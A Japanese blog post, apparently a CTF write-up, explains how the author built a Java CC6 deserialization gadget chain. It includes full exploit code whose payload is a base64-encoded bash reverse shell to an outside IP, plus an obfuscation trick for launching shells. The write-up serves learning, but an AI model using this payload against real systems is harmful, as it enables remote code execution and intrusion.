Tritium

Tritium

JAVA入門の落とし穴

これらの日々、新参者の競技で Java の CC チェーンの変種を解いた。これは最初または 2 番目の Java の問題として、多くの落とし穴にはまったので、メモとして書いておく。

問題の jar ファイルをチェックすると、逆シリアル化ポイントと transformer クラスのサブクラスがあることがわかります。おそらく invoketransformer というクラスの模倣です。CC チェーンの基本原理は、逆シリアル化を利用して invoketransformer を呼び出し、リフレクションを使用してランタイムクラスを取得して RCE を実現することです。

問題では、cc6 というチェーンを打つようにヒントが与えられていますが、これは cc1 の代替品であり、高いバージョンの Java では使用できません。

cc チェーンはこちらを参照してください。

https://www.cnblogs.com/bitterz/p/15035581.html

cc6 については、このブログを参照してください。

https://www.yulate.com/348.html

伝統的な cc6 については、以下のような利用チェーンです。

java.io.ObjectInputStream.readObject();
java.util.HashSet.readObject();
java.util.HashMap.put();
java.util.HashMap.hash();
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode();
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue();
org.apache.commons.collections.map.LazyMap.get();
org.apache.commons.collections.functors.ChainedTransformer.transform();
org.apache.commons.collections.functors.InvokerTransformer.transform();
java.lang.reflect.Method.invoke();
java.lang.Runtime.exec();

HashSet オブジェクトを逆シリアル化し、wakeup 時に自動的に readobject を呼び出し、その中の hashmap の hash メソッドを呼び出します。内部実装では、内部オブジェクトの hashcode メソッドを呼び出します。このステップでハッシュを計算するために値を取得する必要があり、これにより lazymap の get メソッドがトリガーされ、lazymap は chainedtransformer の内部の invoke を呼び出します。リフレクションを使用してランタイムクラスを取得し、RCE を実現します。

しかし、依存関係のバージョンを確認すると、cc3.2.2 というバージョンでは、伝統的な cc6 の利用が修正されています。修正方法はどのようなものですか?

このバージョンの changelog を確認してみましょう。

image

いくつかの危険なクラスが禁止され、シリアル化による RCE が防止されています。

jar ファイルを jadx で逆コンパイルしてソースコードを確認すると、eval クラスが与えられていることがわかります。これは invoketransformer クラスの模倣です。

image

serializable が再度追加されているので、意図的なものです。これにより、このクラスを使用して cc6 チェーンを再度利用することができます。

伝統的な cc6 チェーンのペイロードを基に、exp をコピーして変更しました。

ここで、環境の設定で多くの落とし穴にはまりましたが、それについては書かないでおきます。将来的にはすべて理解できるようになります。

public class cc {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new eval("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new eval("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new eval("exec", new Class[]{String.class}, new String[]{"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNTAuMTA5LjE1OC4yMjAvOTAwMSAwPiYx}|{base64,-d}|{bash,-i}"}),
                new ConstantTransformer(1)
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
        Map hashMap = new HashMap();
        Map decorate = LazyMap.decorate(hashMap, chainedTransformer);
        TiedMapEntry key = new TiedMapEntry(decorate, "key");
        HashSet hashSet = new HashSet(1);
        hashSet.add(key);
        decorate.remove("key");
        Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(chainedTransformer, transformers);
        ByteArrayOutputStream buffer = new ByteArrayOutputStream();
        ObjectOutputStream output = new ObjectOutputStream(buffer);
        output.writeObject(hashSet);
        //base64エンコード
        String payload = Base64.getEncoder().encodeToString(buffer.toByteArray());
        System.out.println(payload);
//        decoserize decoserize = new decoserize();
//        decoserize.decoserize(payload);

    }
}

ここには 2 つの大きな落とし穴があります。

1. パッケージ名は、ソースファイルと完全に一致するように変更する必要があります。そうしないと、逆シリアル化されたオブジェクトが認識されません。

2. シェルを起動するための簡単な伝統的な方法は使用できません。原理は次のリンクを参照してください。

https://www.cnblogs.com/BOHB-yunying/p/15523680.html

クラシックなステートメントを次のように変更する必要があります。

bash -c {echo,base64でエンコードされたシェルステートメント}|{base64,-d}|{bash,-i}

これ以外の部分は正常に動作します。base64 を使用する場合は、URL エンコードを忘れないでください。

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。